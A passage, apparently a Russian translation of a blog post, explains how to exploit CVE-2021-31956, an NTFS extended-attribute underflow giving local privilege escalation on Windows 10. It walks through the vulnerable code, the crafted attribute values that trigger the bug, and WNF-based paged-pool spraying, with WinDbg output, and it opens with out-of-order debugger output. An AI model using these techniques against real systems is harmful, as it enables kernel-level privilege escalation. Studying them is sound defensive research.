[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void ]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]
Существует член ThreadListHead, который представляет собой двусвязный список _KTHREAD.
Если эксплойт имеет только один поток, то Flink будет указателем на смещение
от начала _KTHREAD:
**
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY )0xffffd186087b1330))
(((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY ]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY ]
Исходя из этого, мы можем вычислить базовый адрес _KTHREAD, используя смещение 0x2F8, то есть смещение ThreadListEntry.
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
Мы можем проверить это правильно (и увидеть, что мы достигли точки останова в предыдущей статье):
0: kd > !thread 0xffffd18606a54080
THREAD ffffd18606a54080 Cid 1da0.1da4 Teb: 000000ce177e0000 Win32Thread:
0000000000000000 RUNNING on processor 0
IRP List:
ffffd18608002050: (0006,0430) Flags: 00060004 Mdl: 00000000
Not impersonating
DeviceMap ffffba0cc30c6630
Owning Process ffffd186087b1300 Image: amberzebra.exe
Attached Process N/A Image: N/A
Wait Start TickCount 2344 Ticks: 1 (0:00:00:00.015)
Context Switch Count 149 IdealProcessor: 1
UserTime 00:00:00.000
KernelTime 00:00:00.015
Win32 Start Address 0x00007ff6da2c305c
Stack Init ffffd0096cdc6c90 Current ffffd0096cdc6530
Base ffffd0096cdc7000 Limit ffffd0096cdc1000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
ffffd0096cdc62a8 fffff805
5a99bc7a : 0000000000000000 00000000
000000d0
0000000000000000 ffffba0c
00000000 : Ntfs!NtfsQueryEaUserEaList
ffffd0096cdc62b0 fffff805
5a9fc8a6 : ffffd0096cdc6560 ffffd186
08002050
ffffd18608002300 ffffd186
06a54000 : Ntfs!NtfsCommonQueryEa+0x22a
ffffd0096cdc6410 fffff805
5a9fc600 : ffffd0096cdc6560 ffffd186
08002050
ffffd18608002050 ffffd009
6cdc7000 : Ntfs!NtfsFsdDispatchSwitch+0x286
ffffd0096cdc6540 fffff805
570d1f35 : ffffd0096cdc68b0 fffff805
54704b46
ffffd0096cdc7000 ffffd009
6cdc1000 : Ntfs!NtfsFsdDispatchWait+0x40
ffffd0096cdc67e0 fffff805
54706ccf : ffffd18602802940 ffffd186
00000030
0000000000000000 00000000
00000000 : nt!IofCallDriver+0x55
ffffd0096cdc6820 fffff805
547048d3 : ffffd0096cdc68b0 00000000
00000000
0000000000000001 ffffd186
03074bc0 :
FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x28f
ffffd0096cdc6890 fffff805
570d1f35 : ffffd18608002050 00000000
000000c0
00000000000000c8 00000000
000000a4 : FLTMGR!FltpDispatch+0xa3
ffffd0096cdc68f0 fffff805
574a6fb8 : ffffd18608002050 00000000
00000000
0000000000000000 fffff805
577b2094 : nt!IofCallDriver+0x55
ffffd0096cdc6930 fffff805
57455834 : 000000ce00000000 ffffd009
6cdc6b80
ffffd186084eb7b0 ffffd009
6cdc6b80 : nt!IopSynchronousServiceTail+0x1a8
ffffd0096cdc69d0 fffff805
572058b5 : ffffd18606a54080 000000ce
178fdae8
000000ce178feba0 00000000
000000a3 : nt!NtQueryEaFile+0x484
ffffd0096cdc6a90 00007fff
0bfae654 : 00007ff6da2c14dd 00007ff6
da2c4490
00000000000000a3 000000ce
178fbee8 : nt!KiSystemServiceCopyEnd+0x25
(TrapFrame @ ffffd0096cdc6b00) 000000ce
178fdac8 00007ff6da2c14dd : 00007ff6
da2c4490 00000000000000a3 000000ce
178fbee8 0000026eedf509ba : ntdll!NtQueryEaFile+0x14 000000ce
178fdad0 00007ff6da2c4490 : 00000000
000000a3 000000ce178fbee8 0000026e
edf509ba 0000000000000000 : 0x00007ff6
da2c14dd
000000ce178fdad8 00000000
000000a3 : 000000ce178fbee8 0000026e
edf509ba
0000000000000000 000000ce
178fdba0 : 0x00007ff6da2c4490 000000ce
178fdae0 000000ce178fbee8 : 0000026e
edf509ba 0000000000000000 000000ce
178fdba0 000000ce00000017 : 0xa3 000000ce
178fdae8 0000026eedf509ba : 00000000
00000000 000000ce178fdba0 000000ce
00000017 0000000000000000 : 0x000000ce
178fbee8
000000ce178fdaf0 00000000
00000000 : 000000ce178fdba0 000000ce
00000017
0000000000000000 0000026e
00000001 : 0x0000026e`edf509ba
Итак, теперь мы знаем, как вычислить адрес структуры данных ядра _KTHREAD, связанной с нашим запущенным потоком эксплойта.
В конце этапа 2 у нас есть следующая структура памяти:
Введение
Недавно я решил взглянуть на CVE-2021-31956, локальную эскалацию привилегий в Windows из-за ошибки повреждения памяти ядра, которая была исправлена во вторник июньского обновления 2021 года.
Microsoft описывает уязвимость в своем консультативном документе, в котором отмечается, что многие версии Windows подвержены уязвимости, а эксплуатация проблемы в реальных условиях используется в целевых атаках. Эксплойт был обнаружен https://twitter.com/oct0xor из "Лаборатории Касперского".
"Лаборатория Касперского" подготовила подробное описание уязвимости и кратко описала, как эта ошибка использовалась в реальных условиях.
Поскольку у меня не было доступа к эксплойту (в отличие от Касперского?), я попытался использовать эту уязвимость в Windows 10 20H2, чтобы определить простоту эксплуатации и понять проблемы, с которыми сталкиваются злоумышленники при написании современных эксплойтов ядра для Windows 10 20H2.
Одна вещь, которая мне запомнилась, — это упоминание Windows Notification Framework (WNF), используемой злоумышленниками в дикой природе для включения новых примитивов эксплойта. Это привело к дальнейшему исследованию того, как это можно использовать для эксплуатации в целом. Выводы, которые я привожу ниже, явно являются предположениями, основанными на вероятном использовании WNF злоумышленником. Я с нетерпением жду отчета от Kaspersky, чтобы определить, верны ли мои предположения о том, как можно использовать эту функцию!
Этот пост в блоге является первым в серии и описывает уязвимость, начальные ограничения с точки зрения разработки эксплойтов и, наконец, как можно злоупотреблять WNF для получения ряда примитивов эксплойтов. В блогах также будут освещаться проблемы устранения эксплойтов, возникающие на этом пути, которые усложняют написание современных эксплойтов пула в самых последних версиях Windows.
В будущих сообщениях в блоге будут описаны улучшения, которые можно внести в эксплойт для повышения надежности, стабильности и последующей очистки.
Сводка о уязвимости
Поскольку Касперский уже подготовил хороший отчет, найти уязвимый код внутри функции NtfsQueryEaUserEaList драйвера ntfs.sys было тривиально:
C++:Copy to clipboard
__int64 __fastcall NtfsQueryEaUserEaList(__int64 a1, __int64 eas_blocks_for_file, __int64 a3, __int64 out_buf, unsigned int out_buf_length, unsigned int *a6, char a7)
{
unsigned int padding; // er15
padding = 0;
for ( i = a6; ; i = (unsigned int *)((char *)i + *i) )
{
if ( i == v11 )
{
v15 = occupied_length;
out_buf_pos = (_DWORD *)(out_buf + padding + occupied_length);
if ( (unsigned __int8)NtfsLocateEaByName(
ea_blocks_for_file,
*(unsigned int *)(a3 + 4),
&DestinationString,
&ea_block_pos) )
{
ea_block = (FILE_FULL_EA_INFORMATION *)(ea_blocks_for_file + ea_block_pos);
ea_block_size = ea_block->EaNameLength + ea_block->EaValueLength + 9; // Attacker controlled from Ea
if ( ea_block_size <= out_buf_length - padding ) // The check which can underflow
{
memmove(out_buf_pos, ea_block, ea_block_size);
*out_buf_pos = 0;
goto LABEL_8;
}
}
*((_BYTE *)out_buf_pos + *((unsigned __int8 *)v11 + 4) + 8) = 0;
LABEL_8:
v18 = ea_block_size + padding + v15;
occupied_length = v18;
if ( !a7 )
{
if ( v23 )
*v23 = (_DWORD)out_buf_pos - (_DWORD)v23;
if ( *v11 )
{
v23 = out_buf_pos;
out_buf_length -= ea_block_size + padding;
padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;
goto LABEL_24;
}
}
LABEL_12:
Нужная структура в этом случае — _FILE_FULL_EA_INFORMATION.
В основном приведенный выше код перебирает каждый расширенный атрибут NTFS (Ea) для файла и копирует из блока Ea в выходной буфер в зависимости от размера ea_block->EaValueLength + ea_block->EaNameLength + 9.
Существует проверка, чтобы убедиться, что ea_block_size меньше или равен out_buf_length — заполнение.
Затем out_buf_length уменьшается на размер ea_block_size и идет заполнение.
Заполнение рассчитывается как ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;
Это связано с тем, что каждый блок Ea должен быть дополнен до 32-битного выравнивания.
Поместив сюда несколько примеров, давайте предположим следующее: внутри расширенных атрибутов файла есть два расширенных атрибута.
На первой итерации цикла мы могли иметь следующие значения:
**EaNameLength = 5
EaValueLength = 4
ea_block_size = 9 + 5 + 4 = 18
padding = 0**
Итак, если предположить, что 18 < out_buf_length - 0, данные будут скопированы в буфер. Мы будем использовать 30 для этого примера.
**out_buf_length = 30 - 18 + 0
out_buf_length = 12 // we would have 12 bytes left of the output buffer.
padding = ((18+3) & 0xFFFFFFFC) - 18
padding = 2**
Затем у нас может быть второй расширенный атрибут в файле с теми же значениями:
**EaNameLength = 5
EaValueLength = 4
ea_block_size = 9 + 5 + 4 = 18**
В этот момент заполнение равно 2, поэтому расчет будет таким:
18 <= 12 - 2 // is False.
Таким образом, вторая копия памяти не будет правильно выполнена из-за слишком малого размера буфера.
Однако рассмотрим сценарий, когда у нас есть следующая настройка, если бы мы могли иметь значение out_buf_length, равное 18.
Первый расширенный атрибут:
EaNameLength = 5
EaValueLength = 4
Второй расширенный атрибут:
EaNameLength = 5
EaValueLength = 47
Первая итерация цикла:
**EaNameLength = 5
EaValueLength = 4
ea_block_size = 9 + 5 + 4 // 18
padding = 0**
В результате проверка такая:
**18 <= 18 - 0 // is True and a copy of 18 occurs.
out_buf_length = 18 - 18 + 0
out_buf_length = 0 // We would have 0 bytes left of the output buffer.
padding = ((18+3) & 0xFFFFFFFC) - 18
padding = 2**
Наш второй расширенный атрибут со следующими значениями:
**EaNameLength = 5
EaValueLength = 47
ea_block_size = 5 + 47 + 9
ea_block_size = 137**
В полученной проверке будет так:
**ea_block_size <= out_buf_length - padding
137 <= 0 - 2**
И в этот момент мы переполнили проверку, и 137 байт будут скопированы с конца буфера, повредив соседнюю память.
Глядя на вызывающую функцию NtfsCommonQueryEa, мы видим, что выходной буфер выделяется в выгружаемом пуле в зависимости от запрошенного размера:
C:Copy to clipboard
if ( (_DWORD)out_buf_length )
{
out_buf = (PVOID)NtfsMapUserBuffer(a2, 16i64);
v28 = out_buf;
v16 = (unsigned int)out_buf_length;
if ( *(_BYTE *)(a2 + 64) )
{
v35 = out_buf;
out_buf = ExAllocatePoolWithTag((POOL_TYPE)(PoolType | 0x10), (unsigned int)out_buf_length, 0x4546744Eu);
v28 = out_buf;
v24 = 1;
v16 = out_buf_length;
}
memset(out_buf, 0, v16);
v15 = v43;
LOBYTE(v12) = v25;
}
Глядя на вызывающие программы для NtfsCommonQueryEa, мы видим, что путь системного вызова NtQueryEaFile запускает этот путь кода для достижения уязвимого кода.
Документация для версии Zw этой функции системного вызова находится здесь (<https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf- ntifs-zwqueryeafile>).
Мы видим, что выходной буфер Buffer передается из пользовательского пространства вместе с длиной этого буфера. Это означает, что мы получаем контролируемое распределение размера в пространстве ядра на основе размера буфера. Однако, чтобы активировать эту уязвимость, нам нужно вызвать андерфлов, как описано выше.
Чтобы вызвать потерю андерфлов, нам нужно установить размер выходного буфера равным длине первого блока Ea.
При условии, что мы заполняем выделение, второй блок Ea будет записан за пределы буфера при запросе второго блока Ea.
Интересные вещи этой уязвимости с точки зрения злоумышленника:
Однако вопрос в том, можно ли это надежно использовать при наличии современных средств защиты пула ядра, и является ли это "хорошим" повреждением памяти:
![googleprojectzero.blogspot.com](/proxy.php?image=https%3A%2F%2Fblogger.googleusercontent.com%2Fimg%2Fb%2FR29vZ2xl%2FAVvXsEhgezikSlCgMf1kSKPT0y_4kPccO9PNFf9oPVX85sdr_PhdhHSEnH75hg72lKhdJN7RPFIExhXYNt4dEor1hnWCEedcbY6QKJsq0AHBJu5na8r5kgMS5oL7R85pwNv86_HuMu4fohTZWidLk-P7Ap7dXBkDzUGMss4qB07SLYVHZOrcYmyZPnv1Zhf3%2Fw1200-h630-p-k- no-nu%2Fgm_01.png&hash=747ad7c7539524b7f6bab42d5f73a6bf&return_error=1)
](https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory- corruption.html)
Posted by Chris Evans, register whisperer. Part 1 of 4. There are a lot of memory corruption vulnerabilities in software, but not all a...
googleprojectzero.blogspot.com
Запуск повреждения
Итак, как нам создать файл, содержащий расширенные атрибуты NTFS, которые приведут к срабатыванию уязвимости при вызове NtQueryEaFile?
Zw-версия функции NtSetEaFile задокументирована здесь (<https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf- ntifs-zwseteafile>).
Параметр Buffer здесь — это "указатель на предоставляемый вызывающей стороной входной буфер со структурой FILE_FULL_EA_INFORMATION, который содержит устанавливаемые значения расширенных атрибутов".
Следовательно, при использовании приведенных выше значений первый расширенный атрибут занимает место в буфере между 0-18.
Затем длина заполнения равна 2, а второй расширенный атрибут начинается со смещения 20.
*typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, PFILE_FULL_EA_INFORMATION;
Ключевым моментом здесь является то, что NextEntryOffset первого блока EA устанавливается равным смещению переполненного EA, включая позицию заполнения (20). Затем для переполненного блока EA NextEntryOffset устанавливается равным 0, чтобы завершить цепочку устанавливаемых расширенных атрибутов.
Это означает создание двух расширенных атрибутов, где первый расширенный блок атрибутов — это размер, в котором мы хотим выделить наш уязвимый буфер (за вычетом заголовка пула). Второй расширенный блок атрибутов настроен на данные переполнения.
Если мы установим наш первый расширенный блок атрибутов таким, чтобы он точно соответствовал размеру параметра Length, переданного в NtQueryEaFile, то при наличии заполнения проверка будет пропущена, а второй расширенный блок атрибутов позволит скопировать размер, контролируемый злоумышленником.
Таким образом, как только расширенные атрибуты были записаны в файл с помощью NtSetEaFile. Затем необходимо активировать путь уязвимого кода, чтобы воздействовать на них, установив размер внешнего буфера точно таким же, как у нашего первого расширенного атрибута с помощью NtQueryEaFile.
Понимание схемы пула ядра в Windows 10
Следующее, что нам нужно понять, это то, как работает память пула ядра. Существует множество старых материалов по эксплуатации пула ядра в старых версиях Windows, однако их не так много в последних версиях Windows 10 (19H1 и выше). Значительные изменения произошли с переносом концепций Segment Heap пространства пользователя в пул ядра Windows. Я настоятельно рекомендую прочитать "Scoop the Windows 10 Pool!" от Corentin Bayet и Paul Fariello из Synacktiv за блестящую статью по этому вопросу и предложение некоторых первоначальных методов. Если бы эта статья не была уже опубликована, изучение этого вопроса было бы значительно сложнее.
Во-первых, важно понять, где в памяти выделен уязвимый фрагмент пула и как выглядит окружающая память. Определяем, в какой структуре кучи живет чанк, по четырем "бэкендам":
- Куча с низкой фрагментацией (LFH)
- Куча переменного размера (VS)
- Распределение сегментов
- Биг Аллок
Я начал с использования значения длины параметра NtQueryEaFile выше 0x12, чтобы в итоге получить уязвимый фрагмент размером 0x30, выделенный на LFH следующим образом:
Makefile:Copy to clipboard
Pool page ffff9a069986f3b0 region is Paged pool
ffff9a069986f010 size: 30 previous size: 0 (Allocated) Ntf0
ffff9a069986f040 size: 30 previous size: 0 (Free) ....
ffff9a069986f070 size: 30 previous size: 0 (Free) ....
ffff9a069986f0a0 size: 30 previous size: 0 (Free) CMNb
ffff9a069986f0d0 size: 30 previous size: 0 (Free) CMNb
ffff9a069986f100 size: 30 previous size: 0 (Allocated) Luaf
ffff9a069986f130 size: 30 previous size: 0 (Free) SeSd
ffff9a069986f160 size: 30 previous size: 0 (Free) SeSd
ffff9a069986f190 size: 30 previous size: 0 (Allocated) Ntf0
ffff9a069986f1c0 size: 30 previous size: 0 (Free) SeSd
ffff9a069986f1f0 size: 30 previous size: 0 (Free) CMNb
ffff9a069986f220 size: 30 previous size: 0 (Free) CMNb
ffff9a069986f250 size: 30 previous size: 0 (Allocated) Ntf0
ffff9a069986f280 size: 30 previous size: 0 (Free) SeGa
ffff9a069986f2b0 size: 30 previous size: 0 (Free) Ntf0
ffff9a069986f2e0 size: 30 previous size: 0 (Free) CMNb
ffff9a069986f310 size: 30 previous size: 0 (Allocated) Ntf0
ffff9a069986f340 size: 30 previous size: 0 (Free) SeSd
ffff9a069986f370 size: 30 previous size: 0 (Free) APpt
*ffff9a069986f3a0 size: 30 previous size: 0 (Allocated) *NtFE
Pooltag NtFE : Ea.c, Binary : ntfs.sys
ffff9a069986f3d0 size: 30 previous size: 0 (Allocated) Ntf0
ffff9a069986f400 size: 30 previous size: 0 (Free) SeSd
ffff9a069986f430 size: 30 previous size: 0 (Free) CMNb
ffff9a069986f460 size: 30 previous size: 0 (Free) SeUs
ffff9a069986f490 size: 30 previous size: 0 (Free) SeGa
Это связано с тем, что размер фитинга распределения меньше 0x200.
Мы можем пройти через повреждение соседнего фрагмента, установив условную точку останова в следующем месте:
bp Ntfs!NtfsQueryEaUserEaList "j @r12 != 0x180 & @r12 != 0x10c & @r12 != 0x40 '';'gc'", затем точка останова на местоположении функции memcpy.
В этом примере игнорируются некоторые распространенные размеры, которые часто встречаются в 20H2, поскольку этот путь кода часто используется системой при нормальной работе.
Следует отметить, что изначально я упустил из виду тот факт, что злоумышленник изначально имеет хороший контроль над размером фрагмента пула, и поэтому пошел по пути ограничения себя ожидаемым размером фрагмента 0x30. Это ограничение на самом деле было неверным, однако оно демонстрирует, что даже с более строгими ограничениями злоумышленника их часто можно обойти, и что вы всегда должны пытаться полностью понять ограничения своей ошибки, прежде чем переходить к эксплуатации.
Анализируя уязвимое распределение NtFE, мы видим, что у нас есть следующая структура памяти:
Makefile:Copy to clipboard
!pool @r9
*ffff8001668c4d80 size: 30 previous size: 0 (Allocated) *NtFE
Pooltag NtFE : Ea.c, Binary : ntfs.sys
ffff8001668c4db0 size: 30 previous size: 0 (Free) C...
1: kd> dt !_POOL_HEADER ffff8001668c4d80
nt!_POOL_HEADER
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00000011 (0x3)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3030000
+0x004 PoolTag : 0x4546744e
+0x008 ProcessBilled : 0x0057005c`007d0062 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x62
+0x00a PoolTagHash : 0x7d
Далее следуют 0x12 байт самих данных.
Это означает, что вычисление размера фрагмента будет 0x12 + 0x10 = 0x22 с округлением до размера фрагмента сегмента 0x30.
Однако мы также можем настроить как размер выделения, так и объем данных, которые мы будем переполнять.
В качестве альтернативного примера, использование следующих значений приводит к переполнению фрагмента 0x70 в соседний фрагмент пула (вывод отладки берется из кода тестирования):
NtCreateFile is located at 0x773c2f20 in ntdll.dll
RtlDosPathNameToNtPathNameN is located at 0x773a1bc0 in ntdll.dll
NtSetEaFile is located at 0x773c42e0 in ntdll.dll
NtQueryEaFile is located at 0x773c3e20 in ntdll.dll
WriteEaOverflow EaBuffer1->NextEntryOffset is 96
WriteEaOverflow EaLength1 is 94
WriteEaOverflow EaLength2 is 59
WriteEaOverflow Padding is 2
WriteEaOverflow ea_total is 155
NtSetEaFileN sucess
output_buf_size is 94
GetEa2 pad is 1
GetEa2 Ea1->NextEntryOffset is 12
GetEa2 EaListLength is 31
GetEa2 out_buf_length is 94
Это заканчивается выделением в фрагменте 0x70 байтов:
ffffa48bc76c2600 size: 70 previous size: 0 (Allocated) NtFE
Как видите, можно влиять на размер уязвимого фрагмента.
На этом этапе нам нужно определить, возможно ли выделить смежные фрагменты класса полезного размера, в котором может быть переполнение, чтобы получить примитивы эксплойта, а также как манипулировать выгружаемым пулом, чтобы управлять расположением этих распределений (feng shui).
Гораздо меньше написано о манипуляциях с выгружаемым пулом Windows, чем с невыгружаемым пулом, и, насколько нам известно, до сих пор вообще ничего не было публично написано об использовании структур WNF для примитивов эксплуатации.
Введение в WNF
Windows Notification Facitily — это система уведомлений в Windows, которая реализует модель издатель/подписчик для доставки уведомлений.
Алекс Ионеску и Габриэль Виала провели большое предыдущее исследование, в котором задокументировано, как эта функция работает и устроена.
Я не хочу дублировать здесь предысторию, поэтому рекомендую сначала прочитать следующие документы, чтобы освоиться:
- Средство уведомлений Windows (<https://docplayer.net/145030841-The-
windows-notification-facility.html>)
- Игра с Windows Notification Facility (<https://blog.quarkslab.com/playing-
with-the-windows-notification-facility-wnf.html>)
Хорошее знание приведенных выше исследований позволит лучше понять, как структуры, связанные с WNF, используются в Windows.
Выделение контролируемого выгружаемого пула
Одной из первых важных вещей для эксплуатации пула ядра является возможность контролировать состояние пула ядра, чтобы иметь возможность получить структуру памяти, желаемую злоумышленником.
Было проведено много предыдущих исследований невыгружаемого пула и пула сеансов, однако меньше с точки зрения выгружаемого пула. Поскольку это переполнение происходит в выгружаемом пуле, нам нужно найти примитивы эксплойта, размещенные в этом пуле.
Теперь, после некоторого реверса WNF, было установлено, что большинство распределений, используемых в рамках этой функции, используют память из выгружаемого пула.
Я начал с изучения основных структур, связанных с этой функцией, и того, чем можно управлять из пользовательского пространства.
Первое, что мне бросилось в глаза, это то, что фактические данные, используемые для уведомлений, хранятся после следующей структуры:
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B
На что указывает указатель StateData структуры WNF_NAME_INSTANCE:
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
Глядя на функцию NtUpdateWnfStateData, мы видим, что ее можно использовать для распределения контролируемого размера в выгружаемом пуле и для хранения произвольных данных.
Следующее выделение происходит в ExpWnfWriteStateData, который вызывается из NtUpdateWnfStateData:
v19 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u);
Глядя на прототип функции:
extern "C"
NTSTATUS
NTAPI
NtUpdateWnfStateData(
In PWNF_STATE_NAME StateName,
In_reads_bytes_opt(Length) const VOID * Buffer,
In_opt ULONG Length,
In_opt PCWNF_TYPE_ID TypeId,
In_opt const PVOID ExplicitScope,
In WNF_CHANGE_STAMP MatchingChangeStamp,
In ULONG CheckStamp
);
Мы видим, что длина аргумента — это наше значение v6, равное 16 (перед ним стоит заголовок размером 0x10 байт).
Таким образом, у нас есть (0x10-байтов _POOL_HEADER):
Makefile:Copy to clipboard
1: kd> dt _POOL_HEADER
nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 8 Bits
+0x000 PoolIndex : Pos 8, 8 Bits
+0x002 BlockSize : Pos 0, 8 Bits
+0x002 PoolType : Pos 8, 8 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x008 ProcessBilled : Ptr64 _EPROCESS
+0x008 AllocatorBackTraceIndex : Uint2B
+0x00a PoolTagHash : Uint2B
за которым следует _WNF_STATE_DATA размером 0x10:
Makefile:Copy to clipboard
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B
С данными произвольного размера, следующими за структурой.
Чтобы отслеживать распределения, которые мы делаем с помощью этой функции, мы можем использовать:
nt!ExpWnfWriteStateData "j @r8 = 0x100 '';'gc'"
Затем мы можем создать метод распределения, который создает новое имя состояния и выполняет наше распределение:
NtCreateWnfStateName( &state, WnfTemporaryStateName, WnfDataScopeMachine,
FALSE, 0, 0x1000, psd);
NtUpdateWnfStateData(&state, buf, alloc_size, 0, 0, 0, 0);
Используя это, мы можем распылять контролируемые размеры в выгружаемом пуле и заполнять его контролируемыми объектами:
Makefile:Copy to clipboard
1: kd> !pool ffffbe0f623d7190
Pool page ffffbe0f623d7190 region is Paged pool
ffffbe0f623d7020 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7050 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7080 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d70b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d70e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7110 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7140 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
*ffffbe0f623d7170 size: 30 previous size: 0 (Allocated) *Wnf Process: ffff87056ccc0080
Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf
ffffbe0f623d71a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d71d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7200 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7230 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7260 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7290 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d72c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d72f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7320 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7350 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7380 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d73b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d73e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7410 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7440 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7470 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d74a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d74d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7500 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7530 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7560 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7590 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d75c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d75f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7620 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7650 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7680 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d76b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d76e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7710 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7740 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7770 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d77a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d77d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7800 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7830 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7860 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7890 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d78c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d78f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7920 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
